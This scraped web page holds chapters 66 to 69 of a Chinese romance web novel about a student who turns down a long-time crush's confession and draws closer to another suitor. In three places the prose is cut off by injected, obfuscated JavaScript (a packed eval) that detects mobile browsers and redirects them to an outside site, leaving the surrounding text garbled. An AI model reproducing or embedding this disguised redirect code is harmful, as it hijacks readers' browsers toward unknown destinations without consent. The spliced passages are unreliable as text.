贺祁却已经慢悠悠地从她手中接过了水，灌了下去。 但他拿的不是那瓶要给付言辞的。 他拿的是她喝了一半的。 在夏汀禾仍旧没反应过来的那几秒，贺祁俯身凑到了她耳边，轻声说： “谢谢宝宝。” 喧闹的人声中，他清澈的声音格外入耳。 夏汀禾突然感觉到心脏猛地跳动了下。 她好像。 有点控制不住地心动了。 66. 漫长 夏汀禾还是把水送到了付言辞手上。 贺祁和她说了几句话之后，便被同校同学喊着回去了。 临走前，他把自己没喝的矿泉水给了她，温声对夏汀禾说： “留点时间，晚上我过来找你。” 他凑得那么近，弯着腰和她对视着的，旁边还有人时不时地往这边瞧，夏汀禾根本想不出来能说什么，只能胡乱就应了下来：“……哦。” 说完，夏汀禾就推了下他，催促着说：“你同学都叫你了，快点去。” 他的同学也在一旁等着看呢。 被她推着，贺祁笑了下，说了声“知道了”，这才拎着背包走了。 好不容易应付完了，夏汀禾捂了捂脸颊，这时候走向了付言辞。 他一个人站在观众席第一排的座位旁，仍旧不紧不慢地收拾着东西。等收完了，才终于腾出手来接过夏汀禾给的水喝了一口。 喉结滚动，他垂着眼眸看向夏汀禾，视线自然又落在了她手中的另一瓶上。 是贺祁给她的。 刚刚就站在附近，付言辞自然是看见了全程。 那种愤恨又带着怒意的刺激再一次冲上了心头。 他连着灌了半瓶水，克制了许久，才把心里负面的情绪压了下去，依旧平和地对夏汀禾说：“去吃饭吧。” 夏汀禾看向他：“你不要和其他的队员一起去吗？” 付言辞：“他们要去喝酒。” 他是不喝酒也不抽烟的。 夏汀禾也知道这点。 不过她本是打算和室友一起去的，但转而想起来之前谢临和她说的话，她还是答应了下来。 两个人去了挨着体育馆的食堂，进去后，夏汀禾随便选了一家经常吃的酸汤鱼。 点完了餐想起来付言辞不爱吃酸汤，她又扭头对他说：“你去吃你喜欢的吧，不用和我一样。等会儿这边好了，我拿过去坐。” 听到她还记得自己的喜好，付言辞刚才的情绪都仿佛被一扫而空，他笑了下，说好。 夏汀禾在出餐口排队等着，抽空又搜了一下早上明教授说的理论。 的确没有想象中的容易懂，她反反复复看了好几遍。 再一次在心里默念试图理解它的意思时，她的肩膀突然被人轻拍了一下。 “嘿，夏汀禾。” 回头一看，陈航排在了她身后，旁边还跟着简辰。 自从那天叫他自己退出课题组之后，简辰倒是也没再和她有过交集，但照样对她是一副高高在上的模样。 夏汀禾一看到这人就开始有些不舒服。 “你也过来吃这家吗？”陈航像是不知道他们之间的事，依旧和往常一样寒暄，“他们家的鱼还挺好吃。” 没理会简辰翻的白眼，夏汀禾对着陈航点了点头，简单回应了两句。 陈航又问：“一个人来吃？” 夏汀禾：“不是。” 说完，正好出餐铃响了，夏汀禾没再和他搭话，说了句拜拜，就拿了餐盘和筷子走去了付言辞那边，坐在了他对面。 等她走了，陈航推了推简辰的肩膀：“看看。” 简辰往夏汀禾的方向看过去，瞧见对面是付言辞后，更加无语了些：“这样的人，也就你会跟她打招呼了。” “付言辞也是疯了，下次提醒他一句吧。” 陈航笑着回：“那可别，人家喜欢着呢。” - 从点完了餐开始，付言辞就一直看向夏汀禾的那边，所以陈航和她搭话，他也是看到了的。 等夏汀禾一在对面坐下，他立即开口说：“以后不要和陈航接触。” 夏汀禾一脸疑惑地看过去：“怎么了？” 陈航这人算不上和她有多熟，但也是同学，避免接触也没什么必要。 她以为是陈航是有什么不好的地方，所以付言辞才会这么说。 但付言辞只缓了缓，看着她道：“你不了解他，不要什么人都交朋友。” 这句话和前不久他说贺祁的一样。 夏汀禾自动把他说的归为他在说一些有的没的，因此也没打算搭理。 没回应他这句，夏汀禾指了下桌上的饭菜：“先吃饭吧。” 付言辞知道她没听进去，又不由得烦躁。 他没办法直接告诉夏汀禾那天在校园墙投稿的人就是陈航，因为即便是陈航弄的，起因还是他——是他在羽毛球馆拒绝了夏汀禾，才会让陈航知道，才会有这些事发生。 他现在还不想在夏汀禾面前败坏好感。 思索了下，只能自己私下去解决了，不让这些麻烦再弄到夏汀禾身上。 “实验室的忙，是你帮我的吗？”正想着，夏汀禾突然开了口。 付言辞愣了愣。 想必是谢临告诉了她。 夏汀禾直接对他说了：“谢谢。” 但付言辞并不想得到她的感谢。 他喜欢他，这是他觉得理所应当的。 而且，他们之间已经这么生疏了吗？ 嘴里的饭菜一刹那似乎变得难以下咽，付言辞垂了垂眼眸，只能说一句：“不用。” 两个人照例是沉默寡言地吃完了一顿饭，中途除了夏汀禾主动问他的几个关于理论的问题，就没再聊过天。 十几分钟后，夏汀禾吃饱了，收拾了下桌面后先起了身。 “我去放一下餐具。” 收餐具的推车就在旁边，夏汀禾放完后走回去。 付言辞旁边的座位上不知道什么时候多了个女生。 两个人热络地交谈着，有说有笑。 眼下的画面和许久之前的重叠，那种似乎永远无法靠近自己暗恋的人的感觉再次出现。 条件反射般的心脏刺痛。 好在也只有一会儿。大概是还没能习惯。 以前夏汀禾只能强迫自己不去看不去想，现在她可以直接选择转身走了。 只是她刚到走廊这边，付言辞就跑过来拉住了她。 “放好了怎么没叫我？” 夏汀禾尽量忍着气道：“你不是在和别人聊天吗？” 付言辞紧盯着她，生怕错过她一点点的神情变化。 “看见我和别人聊得很高兴，你不开心了？” 夏汀禾一愣。 没想到他会说出这样的话。 印证了答案，付言辞往前走了几步，更加靠近了些：“所以你知道，我看到每次你和贺祁在一起是什么感受了吗？” 他眼里像是藏着悲伤，却又含着嫉妒的愤怒。 “汀禾，我说过了，我一直喜欢你。” “从很早之前就是。” 他又往前迈了一点，想要抱夏汀禾但是想起她之前的回避，又只能忍住了，垂在身侧的手握成了拳。 他看着夏汀禾，目光在她脸上来回扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982589|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，强压着情绪问：“你就不能像以前那样，只看着我吗？” 听到他这句话，夏汀禾只感觉到内心无限的冰凉。 他一直喜欢自己。 喜欢了多久？有她暗恋的时光这么漫长吗？ 他也有过自己那样钻心刻骨的感受吗？ 一墙之隔的食堂里依旧热热闹闹，这条走廊少有人来。廊外是齐整的玉兰树，眼下已经光秃秃的一片，只剩下了枝干，预示着冬天的来临。 喜欢上付言辞也是在几年前的冬日。 那条漫长昏暗的巷子里，刺骨的冷风、半路突然出来的酒鬼、付言辞挡在她身前的影子以及疯狂跳动的心脏。 但今年冬天，应该不会再有了。 “不能。”她回答付言辞说：“因为已经错过了。” 面对着曾经视为一切的人，说出这句话的时候，夏汀禾还是有些控制不住泛了泪花。 “我已经……”她深吸了一口气，补充了剩下的，“没办法像之前那样喜欢你了。” 一声落地。 她后退着从付言辞身前绕了出来，看着他，坚决地说： “如果你还是想要通过刚才那样的方式来试探我的话，那我可以告诉你没有必要。因为我暗恋你的时候看到那样的场面就已经难受过了。” “现在你故意这么做，只会让我更不喜欢。” “甚至，会开始厌恶。” - 夏汀禾在回去的路上碰见了室友。 三个人挽着她的手围上来问：“汀妹你刚刚是和付言辞去吃饭了吗？” 她还没说话，宁苒已经眨了眨眼：“不准骗我们哦，我们三刚刚可都看到了。” 夏汀禾也没打算瞒着，说了是。 宁苒和黎穗一同激动起来：“所以呢？他有找你说什么吗？他都没和队员去吃。” “是不是后悔了？出了一趟国认清了自己内心，发现其实喜欢上你了？” 黎穗更加愤愤不平起来：“我早就看他不对劲了，这几天老是在我们汀妹周围绕来绕去的。” 尽管整个宿舍都被付言辞摆过一道，但三个人终究还是觉得夏汀禾没能放下，要不然贺祁也追了一段时间了，两人怎么还没在一起？ 总归是没那么喜欢。 现在付言辞回来了，要是也喜欢上了夏汀禾。那在她们看来，也算是有情人终成眷属。 虽然三个人早就商量好了，付言辞要真成为了她们宿舍的女婿，肯定得先把他大骂一顿才准夏汀禾答应。 “可能是吧。”夏汀禾给了回答。 她一说完，宁苒和黎穗都想好了晚上该去哪庆祝了。 然而紧接着又听到她说：“但我不想答应了。” 三个人反应了半响，才憋出一个词来：“啊？” 夏汀禾突然有些头疼，她不想再解释太多，只好对她们几个道了歉。 “抱歉，我现在有点不舒服，想回宿舍睡觉。晚上再和你们解释可以吗？” 听到她说身体不舒服，这件事一下就被三个人抛到脑后去了，纷纷凑过来看她有没有事。 这时候发现她的眼眶有点红，肯定是发生了什么事。几个人一时间觉得自己大意了，刚刚不该问东问西的。 确认她只是觉得有些头疼之后，才放心地带着她回宿舍。 夏汀禾在宿舍里睡了一下午。 她没再梦到付言辞。 67. 结束 夏汀禾走之后，付言辞就一直站在原地。 好像失去了一直以来维持生活的动力，没力气再多做任何一个动作，他只能眼神空洞地看着远方。 直到家里有电话打过来，付言辞才缓慢地从口袋里拿出手机来接。 “哥哥！”清脆的一声，付语诗开口叫了他。 渐渐回过神来，付言辞把手机拿远了些，清了下嗓子，才凑到听筒旁边说：“嗯。” 他的嗓音还是干涩的，只能尽量压低了声音，不让那边听出异常。 他和平常一样淡淡地说：“今天的作业写完了？” 付语诗高兴地和他分享：“我当然写完啦，妈妈今天还带我去吃了汉堡，超级大的一个哦。因为今天是妈妈的生……” 突然想到了什么，付语诗立即就捂住了嘴：“因为今天妈妈的朋友来家里做客了。” 即便脑筋转得快，但终究也只是个小孩子而已，付言辞只听了前半句就知道了是什么意思。 怕付言辞给打钱过去，付母从来不会提及自己的生日，更不会庆祝。他们兄妹俩每年的生日蛋糕和礼物却从来没有少过。 要不是付语诗提及，付言辞也差点忘记了这件事。 为了转移话题，小机灵鬼又开始和他聊一些小孩子家家学校里的事。她的声音不大，电话里付母和朋友的谈话付言辞也能听到。 “你过生日都不给自己买点衣服、吃点好的？哎呀，也别太节约了。” 付母笑了笑：“不是节约。我们家的状况你也知道的，以后言辞身上压力会很大，我省一点是一点。” “那确实，你儿子是真的懂事。二十岁，读书厉害，又会赚钱给家里，寒暑假还帮着做事。” “是啊，所以不希望两个孩子再受苦了。我现在还能赚一点、省一点，那就再拼把劲。” 付母一贯温和的声音缓缓传入耳中，付言辞闭了闭眼，再睁开时，他对妹妹说：“我还有事，先挂电话了。” 付语诗只好乖乖结束通话：“那哥哥你去忙吧，拜拜，我和妈妈会想你的。” 铃声短暂地响了一下，电话挂断了。 付言辞盯着屏幕看了一会儿，终于是收起了手机。 其实他并没有事情要做。 只是突然觉得很累。 他一个人去了校外，在街上漫无目的地走了很久。 冷风吹在脸颊上尤为刺骨，付言辞没知觉。他忽地发现不知道自己要去哪，也不清楚要去哪才能让他好受点。 他沿着街道一直走，傍晚时才停下来找了一个便利店，随便买了点吃的坐在店里休息。 已经精疲力竭了，付言辞胡乱吃了两口面包就当是结束了晚餐。 他日常吃饭也几乎都是这么应付的，什么方便、便宜就吃什么。午饭中规中矩地和夏汀禾在食堂吃了一顿，反而觉得有点不适应。 他收了桌上的东西准备扔去门外的垃圾桶，这时候简辰正好进来买水，自然而然看到了他。 “言辞。” 听见有人打招呼，付言辞停住了脚步。 “你来买吃的吗？”简辰随口问他，往他手里一看，却只瞧见了店里最廉价的一款面包的包装。 自觉这样的行为不礼貌，他很快又收起了目光。 付言辞倒没觉得有什么，坦然地点了点头，脸上依旧是冷淡的神情。 简辰其实并不想掺和别人感情上的事，但不忍心看着朋友被骗，于是想了想，还是开口了：“你是不是喜欢夏汀禾？” 他先抬了下手示意：“没别的意思，我只是有些事想提醒你。” 付言辞本来没有半点想聊天的心情，但听到夏汀禾的名字，他还是认真了起来。 “谁告诉你的？” 几秒后，付言辞有了答案，冷下脸来道：“陈航是吗？” “是。”简辰没否认，“但他可能也是为了你好，希望你认清楚现实，不要被人骗了。” 都已经到了这个份上，简辰索性说得再明显点：“夏汀禾真的没你想的那么单纯，她对陈航……” 没有听完，付言辞直接打断了他：“所以你之前对她不满也是因为陈航的话？” 没等他回答，付言辞看着他问：“他在哪？和你一起过来的吧。” 简辰以为他只是随口问一下，便指了指窗外。 付言辞顺着方向看过去。 陈航就站在马路对面，旁边围了一群同学。 和以前一样，还是那么喜欢被人捧着，当人群中心。 付言辞冷淡地看了一眼那边，很快起了身出了便利店。 走之前，他对简辰道：“夏汀禾是我喜欢了很久的人，我比任何人都清楚她各方面都很好。希望你不要因为别人的三言两语对她妄加揣测。” 简辰没想到他会得到这样的回答。 不知道他要去做什么，但直觉觉得不太妙，简辰在这时候迅速拿了水结账，跟了过去。 然而还是晚了一步。 他过去的时候，付言辞已经揪住了陈航的衣领。 身高相差的缘故，陈航只能仰着头看他。 “对啊，是我传的又怎么样？你不是最会装了吗？不就是不想让夏汀禾知道你家里很穷吗？” 他当着所有同学的面戳破了付言辞一直以来隐藏的事。 “来啊，不是想当英雄吗？早就看你不爽了。” 陈航被勒得喘不过气来，但还是忍不住地放狠话，他笃定了付言辞不敢在这种场面下打他。 还是为了一个女的。 他也反手扯住了付言辞的衣袖：“看你可怜，你是家里唯一个男的，我让你一下？” 可惜他猜错了，付言辞几乎没有犹豫，在他说完最后一句就直接一拳砸在了他脸上。 “哐当”一下，陈航脸上的眼镜直接飞了出去。 “你他妈真敢打我？” 陈航爬了起来，直接把外套丢了，捡了旁边的棍子冲上去。 只是他根本不是付言辞的对手，最后除了自己脸上多添了几道伤之外，付言辞看起来几乎毫发无伤。 等他们俩都停了，同学这才敢跑过去拉架。 付言辞一步步走向他。 “是，我家里条件是不好，是不想让我喜欢的人知道。但你这种只会在女生背后造谣的，从女生这边下手的人，更让人不耻、恶心。” 他环视了一圈陈航周围的人，看向每一个人说：“今天的事，随便你们举报也好，夸大其词地宣扬也好，我都不会后悔。” 他居高临下地看了眼被同学扶着的陈航：“所以，滚吧。” - 林越是在看到学校的通报之后，才知道了付言辞的事。 他找人问了清楚事情原委，立即跑出了校外去找付言辞。 只是很不巧，又正好下起了大雨，人行道上的坑里充满了积水。即便撑着伞，他脚下的运动鞋也几乎全部被打湿了。 林越在一个十字路口的休息椅上找到了他。 付言辞就坐在树下，闭着眼向后仰躺着。他浑身湿透了，旁边还有几瓶空了的酒。 因为穿的白衣服，衣袖下原本藏着的血痕经过雨水浸泡全部晕染开来，把布料染成了鲜红的颜色，格外刺眼。 源源不断涌出的血混着水从他的指尖滴下，落到地面。 “我的天，你疯了啊，流血了还不去医院？？在这儿坐着？？？”林越大步跑过去看伤口。 察觉到有人靠近，付言辞看了过去，对身上的伤口根本毫不在意，只朝他笑了笑，说：“你来了啊。” 林越手上的动作一顿。 这是他第一次在付言辞脸上看到这么毫无约束的笑容。 他们是从小的交情，几岁时林越碰到他便觉得这人太过沉闷，一点也没有意思，不爱和他一块玩游戏。 后来长大了些，了解了付言辞的家庭情况，也就慢慢明白了原因。 他是家里的哥哥，是家里的希望，家庭的责任他必须承担一半。 他这么沉默寡言倒也正常。 相处了一两年，林越几乎从没见过他笑。 直到之后一起上了高中，有天付言辞突然指着人群中的一个女生问他，知不知道对方叫什么名字。 林越回他说：“夏汀禾，和我们一个班的呢。怎么了？你找人家有事啊？” “没怎么。” 付言辞很放松地笑了下。 虽然是转瞬即逝，但林越还是捕捉到了。 后来他对夏汀禾做的事，林越都看在眼里。 他把夏汀禾的分数记得比自己的还要清楚，每次考试发现她进步了，付言辞也会跟着一起和朋友庆祝——第一次这么做时林越还一头雾水，以为是他过生日了。 在她被点名去黑板上写题却因为紧张写不出来时，付言辞就等老师出去了，写纸条求林越他们在下面报答案。 夏汀禾不爱上体育课，因为不喜欢晒太阳也不爱运动，自由活动后付言辞就会和她一样回教室写作业。 某次晚自习教室里一起看电影，付言辞知道她怕黑，便去找老师协调开了最后一排的灯。 …… 他在一桩桩、一件件事情中不断深陷，到无法自拔的地步。 直到今天。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998077|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林越看到他坐在这儿，就知道了和夏汀禾有关。 确认了只是轻度的皮肉伤后，林越叹了口气，走过去给他撑了伞。 “走吧，大哥，你这都要淋成狗了。” 付言辞已经喝醉了，根本听不懂他的话。 林越摇了摇头，只好把他架了起来，打了一辆车拖去了医院。 他身上湿淋淋的，林越对司机师傅也不好意思，只好主动又加了一些钱当作洗车费。 “早就和你说了要早点表白，看吧，这下被拒绝了，后悔了吧。” 反正付言辞也听不懂了，林越索性全部都骂了出来。 “人家女生凭什么等你啊，连句话和承诺都没有。” “真的，要不是我是你兄弟，我也得骂你……” 耳边一直有断断续续的声音，付言辞听不清是谁在说话。 他看了看窗外，这时候意识到在下雨。 如果是晴天就好了。 他认识夏汀禾的那天，就是晴天。 也是夏天。 所以今天如果是夏季里的晴天。 就好了。 - 到了傍晚，夏汀禾被闹钟吵醒，迷迷糊糊地睁开眼醒来。 下午没课，三个室友也在。她们各自在下方的桌子做着自己的事，但知道夏汀禾在休息，几个人几乎没发出声音。 一听到闹铃，三个人从自己位置上探出脑袋去看。 “汀妹你醒了吗？” 夏汀禾揉了揉眼睛，隔着床帘小声地回应了一句：“嗯。” 宁苒起了身走过去，放缓了声音，小心翼翼地问：“你现在还好吗？头还痛不痛啊？” “已经不痛了。”夏汀禾换了衣服从床上下来，扯出笑容对她们笑了笑。 看她下来了，这时候另外两个室友也拉着椅子凑了过来。 “所以到底是怎么回事啊？发生什么了？” 夏汀禾垂了垂眼睫，言简意赅地总结了说：“付言辞和我表白了，我拒绝了。” 三个人同时瞪大了眼睛：“啊？” “为什么，汀妹？你不是喜欢了他很久吗？” 夏汀禾没否认：“觉得不太合适，而且我现在，也没有那么喜欢了。” 应忱心思细腻，过来搂住了她的肩膀。 “但毕竟还是有过感情的。所以即便你拒绝了他，心里其实也不好受是吗？” 夏汀禾没说话了。 三个人面面相觑，决定暂时还是不要把付言辞打架被学校通报的事情告诉她。 正犹豫着要怎么回答，这时候夏汀禾收到了贺祁的消息，问她现在有没有空。 回了有，夏汀禾又告诉了室友：“我待会儿要出去一趟。” 室友也赞同：“嗯嗯，出去走走散散心也好，正好外面雨也停了。” “别走太远啊，我们隔半个小时会给你打电话的。” 夏汀禾点头答应了。 - 十几分钟后，夏汀禾坐进了车内。 车里的暖气是贺祁确认她会过来之后就开了的，夏汀禾一上车，便感觉到温热的暖风涌过来，很舒服。 瞥见她的耳朵被外面的冷风吹得冻红了，贺祁问她：“怎么不多穿点？耳朵都红了。” 夏汀禾看向了窗外，平静地回他说：“刚刚想吹冷风。” 冷风会让她更加清醒一些，但现在她开始感觉到冷了。 夏汀禾又扭过头问：“车上有毛毯吗？” 贺祁笑了下，给她从后座拿了一块，盖在了她身上：“现在知道冷了？” 暖气扑面而来，腿上有盖着软和的毛毯，身体逐渐暖和起来。 夏汀禾看着窗外，夜色已经降临，外面只有漆黑的道路和亮着灯的高楼大厦。 不知道怎么回事，鼻尖一酸，她突然开始控制不住地流眼泪。 怎么回事啊。 她以为睡一觉就好了。 怎么还是会伤心，会觉得很难受？ 她没有发出声音，只是在低头擦眼泪的时候，被贺祁发现了。 “夏汀禾？” 没有得到回应，贺祁紧张地看了她一眼，很快靠边停了车。 他解了安全带，凑过来问她原因。 夏汀禾说不出来，只能挡住了眼睛不让他看，哭声却终于压抑不住地释放了出来。 “对不起……”她呜咽着先道了歉。 也不知道是和谁的说的。 是付言辞，还是十几岁喜欢着付言辞的她。 “对不起……” 贺祁直接把她抱进了怀里。 68. 女朋友 车前的玻璃映着路边通明的灯火，零零碎碎地落在他们之间。 感觉到周身被熟悉的气息包围，夏汀禾下意识地放松了警惕。 她还没停下来哭，不知所措地抓紧了贺祁的身上的卫衣，抵着他的肩膀，像是蜷缩在了他怀里。 呼出的热气就这么挠过贺祁的脖颈，弄得他有些痒，却也没办法再做别的，只能任由夏汀禾攥着、依赖着自己。 好一会儿后，等夏汀禾平息了些，贺祁这才抽了纸巾帮她擦眼泪。 哭过之后的眼眸都是水润的，眼尾泛着红，夏汀禾沉浸在情绪之中，一动没动，就这么抬头看着他，看他拿着纸从自己脸上小心翼翼地抹去泪花。 第一次做这种事，贺祁的动作并不熟练。 耳侧的一些碎发被泪水打湿，湿粘地贴在下巴处，担心她会觉得不舒服，贺祁也一并帮她弄到了耳后。 夏汀禾不喜欢化妆，头发被撩开，一整张白净的脸都露了出来，更加显得清纯乖巧。 贺祁垂着眼眸看了她许久。 等他差不多都擦干净了，夏汀禾才恍惚回了神。 意识到自己刚才的举动有多么的越界，脸颊开始发烫，她拿了纸巾，向后退了一点：“……我、我自己来就行。” 她看向了车窗外，只留一个侧脸给贺祁，假装看风景。 这人却一直没发动车。 感觉到贺祁还在盯着她看，灼热的目光落在身上，夏汀禾愈发地不自在起来，这种感觉已经超过了刚才突如其来的伤心。 她只能快速地往他那瞥一眼，小声催促道：“……你不是说留点时间给你吗？要去做什么？” 刚哭过的缘故，她说话还带着点鼻音，声音也是断断续续的。 听到她的问话，贺祁这时候终于放松地笑了起来，看着她说：“不哭了？我还以为有下半场呢。” 就知道他会说这样的话，夏汀禾不理他了，自顾自地看了眼手机，发现室友刚打了电话过来她没接到。 她马上发了消息过去告诉她们自己没事。 室友却不太相信：【那你拍张照片给我们看看你在哪】 夏汀禾把车窗降了下来，对着外面随便拍了一张。 夏汀禾：【就在学校附近的面包店这里，我没有走太远】 她以为这样就结束了，正准备收起手机，室友却接连发了几条语音过来。 “汀妹你怎么在车上？你要去哪？” “我看这后视镜里和你一起的还是个男的？？” “你和到底和谁出去了？别乱来啊，冷静一些，算了算了，我们打电话给你！” 语音一条接着一条这么自动播放了，看到旁边人的笑，夏汀禾更加无地自容了。 刚刚怎么会不小心把后视镜也拍了进去？ 夏汀禾只好手忙脚乱地接了室友的电话，和她们认真解释了一番自己是打算和贺祁出去逛逛。 听到这个答案，室友也没多放心，又和她叮嘱了一遍那些地方千万不能去、贺祁做什么她千万不能答应等等。 在夏汀禾一一应下之后，室友这才结束了通话。 夏汀禾长舒了口气。 正准备问贺祁要去哪呢，这人突然啧了一声，颇有些烦恼地说：“看来我在你室友面前的形象不是很好啊。” 他似乎有些不确定，又像是有点不太相信。 夏汀禾也能理解，他一向人缘好，即便有人对他有偏见，也不会当着他的面说出来。 夏汀禾赶紧替室友解释：“她们是担心我，和你没什么关系的。” “嗯。”贺祁淡淡应了一声，没再说话，插了钥匙启动了车。 路程过了一半，夏汀禾才后知后觉他是不是生气了。 “我们要去哪？”她快速地瞄了一眼贺祁，随便问一句话来试探。 贺祁回她说：“不远，马上到了。” 夏汀禾这才问：“你刚刚是生气了吗？” 贺祁侧过脸看了看她：“如果是呢。” “那……”夏汀禾想了半天，也没想出什么话来。 对室友她可能解释清楚抱一下就没事了，但对男生，夏汀禾确实没有经验。 之前都是贺祁来哄她，她思来想去，也只能学着贺祁以前那样，对他说：“……那你别生气了，好不好？” 见他无动于衷，夏汀禾抿了下嘴，小声道：“我刚刚才哭过呢。” 她才平复了十几分钟，就让她去哄他…… 贺祁被她后面这句话给逗笑，忍不住扬了下嘴角，但还是憋住了没出声。 怎么这么可爱啊。 贺祁依旧保持着淡淡的态度问她：“语言上的听多了，不新鲜了。没有实际行动吗？” 夏汀禾：“可以有啊。” 贺祁已经安慰了她好几次，夏汀禾也挺感谢他的，所以觉得自己再对他做点什么也没事。 贺祁：“什么？” 在他期待的眼神里，夏汀禾回应说：“回来的时候，我来开车？虽然是你的车，但也可以当作是我送你回家了……” 越说到后面，夏汀禾越心虚。不过这的确是目前她唯一能想到的点了。 她最后又补充了一句：“以后有机会的话，我再请你吃顿饭或者你有什么想要的礼物，我买给你？” 她还在想着方法，贺祁已经踩了刹车：“到了。” 两个人从车上下来，贺祁走在她后面，忽地抬手摸了下她的头。 “骗你的，没生气。” 他笑了起来。 夏汀禾突然感觉到被他碰过的地方都变得有些敏感。 - 跟在贺祁身后走进了门店。 进去前需要穿过一段长廊，这里的灯光有些暗，夏汀禾有点不安，只能借着说话来缓解：“那你以后要是真的生气了呢？” 贺祁放缓了脚步，尽量和她同步。 “你来找我就行。”贺祁回她说。 夏汀禾继续问：“找你你就不生气了？” 贺祁：“昂。” 夏汀禾记下了。 又走了几分钟，夏汀禾都想问他这里是什么地方了。这儿的设计看着也不像是卖什么的店铺，反而有点展馆里的感觉。 “这里。”贺祁忽地停了下来。 夏汀禾跟着他往前迈了一步台阶。 踏上了平台，她发现脚下似乎有东西在发光。 没等她问是什么，贺祁已经对她招了招手：“过来站这儿。” 夏汀禾走了过去，仿佛踩到了某个开关一样，脚下的图案开始一点点泛着暗蓝色的光，像多米诺骨牌一样不断向前点亮，最后地上全部清晰起来。 是由星星连接起来的天文学星座。 仔细地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺祁突然俯身凑到她耳边，说： “因为……” “这是别人给女朋友准备的。” - 从长廊里出来回到了车上，夏汀禾还有些恋恋不舍。 她打开车窗，往外又看了几眼那。 看她这么喜欢，贺祁放心了些，这时候开口问她：“所以来之前因为什么事哭了？” 猛地听到他这句话，夏汀禾瞬间就捏紧了车窗边沿。 她没往后看，只努力地保持着平常的语气回应说：“就是有一些不开心的事……” “现在已经好多了。” 她乖乖坐好，指了下车内电子屏显示的时间，温声问他：“是不是该回去了？要我来开车吗？” 说完，夏汀禾也觉得自己转移话题似乎有点生硬了。 她小心地往贺祁那边瞥去。 贺祁直接拔了车钥匙，扔在了一边。 他看向夏汀禾，这次他没再笑，脸上的神情是真的淡了下来。 夏汀禾克制着紧张，但几秒后，还是听到他问： “因为付言辞？” 69. 期待 相处久了，夏汀禾也能第一时间感觉到贺祁的情绪变化。 他开口问的时候，夏汀禾就已经猜到了他会不高兴。并不是不知道原因，但她不敢自作主张地把这些看作是贺祁喜欢她的证据。 她怕回过头来又是自己想多了，换来一句刻骨铭心的拒绝。 夏汀禾没看他，垂着眼睫，鼓起勇气问：“……为什么是他，你就不高兴了？” 贺祁冷脸的模样和平常似乎是两个人。习惯了他漫不经心笑起来的样子，现下的他让夏汀禾有些畏惧。 但又因为他是贺祁，所以夏汀禾敢这么对他说。 她知道他不会对自己说重话的。 “你觉得呢？”贺祁动了下唇，声音也是冷淡的。 贺祁早就看到了付言辞和自己表白的事，却一直没有提起，夏汀禾摸不准他的想法。 她嘟囔了一句：“我怎么会知道……” 这人总是把情绪藏得很深，还喜欢反过来问她。他是在吃醋，还是因为别的，夏汀禾不敢妄下定论。 车内又陡然响起贺祁的声音。 “他不是和你表白了？” 夏汀禾没否认：“嗯。” 快速看了一眼贺祁，她补充道：“我拒绝了。” “拒绝了还因为他哭？” 贺祁紧追着逼问，看向她的眼眸已经是深邃漆黑的，只是多了一份清冷。 夏汀禾原本以为这个答案他会满意的，现在被他这么一问，她也不知道该怎么来应对了。 她不喜欢这样被质问的感觉。 夏汀禾看向了他，认真说：“我不知道你想要什么回答。如果你想了解什么，可以直接和我说。” 想问她是不是还对付言辞有感情。 问她是不是还在心疼付言辞。 但是比起这些，贺祁更想知道的是——他在夏汀禾心里有没有位置。 他旁敲侧击地询问，就是为了回避自己真实的目的。他不习惯透露自己最深层的情感，尤其是在不确定的情况下。 喉结滚动了下，贺祁还是没出口，只道：“我已经问的你还不是没回答。” 夏汀禾没退缩：“那我问的你不是也没回应吗？” 两个人互相试探着，僵持着，心里都有自己坚持的东西。 气氛开始变得有些不对，车顶的灯也不知道怎么回事，突然熄灭了，车内瞬时陷入了黑暗。 夏汀禾摸索着，又抬手重新打开了。 她先一步结束了上面的对话：“先回学校吧。” 返程的路上没人开口说话。 到了校门口，夏汀禾从车上下来。关了车门准备走了，想了想，还是叫了他一声：“贺祁。” 贺祁透过车窗看过去。 夏汀禾没看他，低着头说：“今天晚上，谢谢。” 贺祁没说话，目光静静地落在她身上，以为她还会说点什么。 但是没有。 夏汀禾说完这句就走了。 看着她的背影，贺祁从中控台翻出烟盒，抽了一根点燃。 等抽完了，他起身去路边的垃圾桶丢了，才离开。 - 第二天有早八的课，夏汀禾意外地起得很早，洗漱完了室友还没醒。 她打开校园跑看了看，发现只差最后一次了，索性决定在上课前去操场跑几圈打卡完。 这是夏汀禾头一回在早上来操场，原以为会是空荡荡的，没想到体育学院有不少学生已经在开始组织训练了，跑道上也有来晨跑的同学。 做了下热身运动，夏汀禾加入到人群之中。 一边慢跑着，她习惯性地往中央的足球场看，打算说点什么却突然想起这次是她一个人来的。 以往的十几次都是贺祁陪自己跑完的。 他会在内场的草坪慢悠悠地跟着她，和她聊天。 收回了视线，夏汀禾努力让自己只看着前方，一口气地把四圈给跑完了。 打卡成功。 这是她第一次在离期末结束还有一个月就全部完成了。 她又在操场上散了一会儿步，等着时间差不多了，才给室友发消息告诉她们自己先去了教学楼。 教室里也有提前过来的同学。 